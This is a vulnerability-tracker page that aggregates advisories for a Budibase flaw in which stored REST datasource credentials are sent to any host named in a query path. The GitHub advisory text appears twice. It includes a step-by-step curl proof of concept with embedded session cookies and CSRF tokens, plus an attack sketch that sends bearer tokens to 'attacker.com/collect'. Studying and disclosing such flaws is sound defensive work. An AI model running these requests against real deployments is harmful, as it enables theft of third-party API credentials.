Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

budibase · Vulnerability

CVSS 4.0 9.0 CRITICALEUVD CVSS 4.0 9.0 CVSS 4.0 · [email protected] · Secondary 9.0 CRITICALPublisher rating CRITICALCheck source for fixed versionsKEV status unknown

cve-program · CVE-2026-73407

Published

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Read the publisher's advisory

euvd · EUVD-2026-57413

Published

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Read the publisher's advisory

nvd · CVE-2026-73407

Published

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Read the publisher's advisory

osv · GHSA-mqhr-6j6h-74p5

Published

## Summary Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated). ## Root Cause `packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session. POC ## Reproduction — copy each line, paste in your terminal, press Enter, Line 1: ``` DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID" RESPONSE datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19 ``` Line 2: ``` QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID" ``` RESPONSE query=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7 Line 3: ``` curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published ``` RESPONSE published Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}' ``` RESPONSE {"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"*/*","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/\"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw\"","server":"cloudflare","set-cookie":"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"} ### Actual output of Line 4 (the leaked credential) The anonymous request returns HTTP 200; the outbound `headers` echoed by `postman-echo.com` contain the datasource's stored, otherwise-masked credentials: ```json {"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]} ``` `authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242` were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs. ## Full Real-World Attack ``` 1. A builder has a REST datasource with stored auth (Bearer/API key) and a query whose path uses a parameter, published at PUBLIC (customer-facing app). 2. The attacker needs no account. They read the published app id + query id from the published app, then send ONE request: POST /api/v2/queries/<queryId> x-budibase-app-id: <prodAppId> {"parameters":{"t":"https://attacker.com/collect"}} 3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com. 4. attacker.com logs the header => the datasource's secret token. 5. The attacker calls the third-party API directly as the victim organisation. ``` ## Impact | Who / what is affected | How | |---|---| | Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated | | The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) | | Unauthenticated attackers | One request, no login, no CSRF, no user interaction | | The credential-masking control | Fully defeated - masked secrets recovered in cleartext | ## Recommended Fix 1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution. 2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings. 3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-73407

Published

Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak (bypass of CVE-2026-48152))

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Source published
12 Aug 2026 19:09:55 UTC
Source modified
12 Aug 2026 19:30:27 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 9.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

euvd · EUVD-2026-57413

Published

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to m…

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 12, 2026, 7:09:55 PM

dateUpdated: Aug 12, 2026, 7:30:27 PM

1 related source bulletins · separate from aliases

WID-SEC-W-2026-2483: Budibase: Mehrere Schwachstellen

CVE-2026-73300 · CVE-2026-73301 · CVE-2026-73307 · CVE-2026-73406 · CVE-2026-73407 · CVE-2026-73410 · CVE-2026-73618

Source published
Aug 12, 2026, 7:09:55 PM (timezone not stated)
Source modified
Aug 12, 2026, 7:30:27 PM (timezone not stated)
Saved here
18 Nov 2026 06:40:08 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 9.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

nvd · CVE-2026-73407

Published

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to m…

Budibase is an open-source low-code platform. Prior to 3.40.1, RestIntegration._req in packages/server/src/integrations/rest.ts attached credentials from getAuthHeaders and defaultHeaders without requiring the final request destination to match the datasource origin. An unauthenticated caller of a PUBLIC POST /api/v2/queries/:queryId query could supply an absolute or parameterized path to an attacker-controlled host and receive the stored bearer, basic, or static-header credentials. This issue is fixed in version 3.40.1.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-08-12T20:17:55.763

lastModified: 2026-09-08T20:56:50.520

Source published
12 Aug 2026 20:17:55 UTC
Source modified
8 Sep 2026 20:56:50 UTC
Saved here
25 Oct 2026 15:19:03 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 9.0 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

osv · GHSA-mqhr-6j6h-74p5

Published

Budibase: Unauthenticated REST Datasource Credential Theft via Cross-Origin Auth Leak

## Summary Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied `{{ parameter }}`), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (`--secret-value--`) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated). ## Root Cause `packages/server/src/integrations/rest.ts`: `_req()` builds `authHeaders = getAuthHeaders(...)` from the stored auth configs and merges them with `config.defaultHeaders` into every request, before the URL is resolved. `getUrl()`: if the (parameter-enriched) query `path` starts with `http`, the datasource base URL is ignored and `path` becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route `POST /api/v2/queries/:queryId` runs under `authorized(QUERY, WRITE)`; a query published at role PUBLIC is executable with no session. POC ## Reproduction — copy each line, paste in your terminal, press Enter, Line 1: ``` DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH_LEAK_TOKEN_5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC_HDR_LEAK_4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])"); echo "datasource=$DSID" RESPONSE datasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19 ``` Line 2: ``` QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])"); echo "query=$QID" ``` RESPONSE query=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7 Line 3: ``` curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published ``` RESPONSE published Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150): ``` curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}' ``` RESPONSE {"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"*/*","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/\"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw\"","server":"cloudflare","set-cookie":"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"} ### Actual output of Line 4 (the leaked credential) The anonymous request returns HTTP 200; the outbound `headers` echoed by `postman-echo.com` contain the datasource's stored, otherwise-masked credentials: ```json {"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC_HDR_LEAK_4242","authorization":"Bearer UNAUTH_LEAK_TOKEN_5150"}}]} ``` `authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242` were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs. ## Full Real-World Attack ``` 1. A builder has a REST datasource with stored auth (Bearer/API key) and a query whose path uses a parameter, published at PUBLIC (customer-facing app). 2. The attacker needs no account. They read the published app id + query id from the published app, then send ONE request: POST /api/v2/queries/<queryId> x-budibase-app-id: <prodAppId> {"parameters":{"t":"https://attacker.com/collect"}} 3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com. 4. attacker.com logs the header => the datasource's secret token. 5. The attacker calls the third-party API directly as the victim organisation. ``` ## Impact | Who / what is affected | How | |---|---| | Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated | | The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) | | Unauthenticated attackers | One request, no login, no CSRF, no user interaction | | The credential-masking control | Fully defeated - masked secrets recovered in cleartext | ## Recommended Fix 1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution. 2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings. 3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.

Source published
24 Jul 2026 21:22:51 UTC
Source modified
